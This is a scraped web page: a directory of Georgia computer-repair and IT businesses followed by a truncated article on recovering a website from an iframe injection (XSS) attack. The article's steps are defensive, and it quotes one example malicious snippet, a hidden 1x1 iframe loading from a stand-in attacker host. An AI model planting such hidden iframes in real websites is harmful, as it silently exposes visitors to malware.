IFrame Injection Attack: Cross Site Scripting (XSS) Tutorials Savannah GA
IFrame Injection Attack is considered one of the most common and most basic cross site scripting (XSS) attacks. If you have recently got an iframe attack to your website, do not panic. Here are a few things that you can do immediately after you discovered that your website has been a victim of an iframe injection attack.
Cisco Systems
(912) 447-4100
300 Drayton Street
Savannah, GA
(912) 447-4100
300 Drayton Street
Savannah, GA 31401
Services
Computer and Equipment Dealers, Personal Computer Peripheral Equipment, Computer Networks, Data Communications Equipment and Systems
Data Provided by:
CNC
(912) 228-5830
Savannah, GA
(912) 228-5830
Savannah, GA 31416
Services
Information Technology Services, Computer Consultants, Computer Upgrade Services, Computer Service Bureaus, Computer Systems Consultants and Designers
Payment Options
Debit Cards, Money Orders, Personal Checks, MasterCard, Financing Available,
Data Provided by:
FGS Enterprises
(912) 964-4509
1333 Lynah Avenue
Savannah, GA
(912) 964-4509
1333 Lynah Avenue
Savannah, GA 31408
Services
Information Technology Services, Computers and Equipment Repair and Maintenance, Internet Products and Services, Computer Consultants, Computer Systems Consultants and Designers
Hours
Mon-Fri: 08:00 AM-05:00 PM
Data Provided by:
Compunet
(678) 455-3071
6535 Shiloh Road # 300
Alpharetta, GA
(678) 455-3071
6535 Shiloh Road # 300
Alpharetta, GA 30005
Services
Computer Consultants, Computer Systems Consultants and Designers
Data Provided by:
SP Pierce Enterprises, Inc.
(404) 437-9021
P.O. Box 921611
Norcross, GA
(404) 437-9021
P.O. Box 921611
Norcross, GA 30010
Services
Information Technology Services
Hours
Mon-Fri: 08:00 AM-05:00 PM
Data Provided by:
Davlong Systems Inc
(912) 355-3213
6600 Abercorn Street # 205
Savannah, GA
(912) 355-3213
6600 Abercorn Street # 205
Savannah, GA 31405
Services
Computer Consultants, Computer Systems Consultants and Designers
Data Provided by:
Entre' Solutions
(912) 352-1600
51 W Fairmont Avenue
Savannah, GA
(912) 352-1600
51 W Fairmont Avenue
Savannah, GA 31406
Services
Computers and Equipment Repair and Maintenance, Computer Consultants, Computer and Equipment Dealers, Computer Networks, Phone Equipment and Systems Dealers
Hours
Mon-Fri: 08:00am-05:00pm
Data Provided by:
Geek Squad
(866) 338-0243
7929 ABERCORN EXT.
SAVANNAH, GA
Geek Squad
(866) 338-0243
7929 ABERCORN EXT.
SAVANNAH, GA 31406
Data Provided by:
Suwanee PC
(678) 927-3284
Sable Crossing
Suwanee, GA
Suwanee PC
(678) 927-3284
Sable Crossing
Suwanee, GA 30024
Services
Computers and Equipment Repair and Maintenance, Computers and Equipment Installation, Computer Networking Installation, Computer Networks
Hours
Mon-Fri: 08:00 AM-06:00 PM
Sat-Sun: 10:00 AM-04:00 PM
Payment Options
Personal Checks, Cash Only
Data Provided by:
Bill Farmer, Jr. - Independent PC Technician
(770) 334-3854
Cartersville, GA
(770) 334-3854
Cartersville, GA 30121
Services
Information Technology Services, Computers and Equipment Repair and Maintenance, Computer Consultants, Computer Networks
Hours
Mon 12:00 AM-12:00 AM
Tue 12:00 AM-12:00 AM
Wed 12:00 AM-12:00 AM,
Payment Options
Personal Checks, PayPal
Data Provided by:
Data Provided by:
Provided By: 
| IFrame Injection Attack is most common and most basic cross site scripting (XSS) attacks | Written by Vijay Patil
IFrame Injection Attack is considered one of the most common and most basic cross site scripting (XSS) attacks. If you have recently got an iframe attack to your website, do not panic. Here are a few things that you can do immediately after you discovered that your website has been a victim of an iframe injection attack.<iframe src="http://www.example-hacker-site.com/inject/?s=some-parameters" width="1" height="1" style="visibility: hidden"></iframe>
An example of a malicious IFRAME injection code
1. Take your website down for a certain periodIt is recommended to take the website down as you do not want to be distributing malware or virus from your website to your visitors. The website should be offline while you are recovering the site.
2. Change all the passwordsAlthough this may seem like a simple step, many people, including myself, often fail to change all the passwords immediately after an attack has been discovered. You need to change all the passwords associated with the website; which include ftp passwords, ssh passwords, account passwords, database passwords, admin passwords and so on.
3. Take a copy of the affected website for further analysisYou may want to do a further analysis on the attack and might need to refer to the exact injection source code in the future. Take a copy of the affected website in a compressed format, eg: zip or gzip and store it in an quarantine area for later reference. Note that it is not advisable to keep the affected files on the server.
4. Replace the entire site with a clean backup copyDo not rely on your hosting provider for a backup copy of your site. Many hosting providers say they do an automatic backup every night, however, it is more reliable if you have other backup solutions for your website.
5. Test the website and reopenThis is to make sure that the website is reverted to its clean, original version. Once you are happy with the result, you can reopen the website to the public.
6. Analyse how the attack was originatedIn order to ensure that the same attack does not happen again, you will need to do a full analysis of the attack and how it was originated. Was it because of a security hole in your application? Was it caused by a weak file permission? Or is your server affected with some virus that injects these code into your website at regular interval? You will need to understand how it happens in order to prevent it in the future. And when necessary, obtain an expert advice.
7. Perform appropriate security measures based on the analysisAlthough you may have recovered your website, it does not mean your website will not be attacked again. If the same security hole still exists, it is probably very likely that the website will be attac... | |
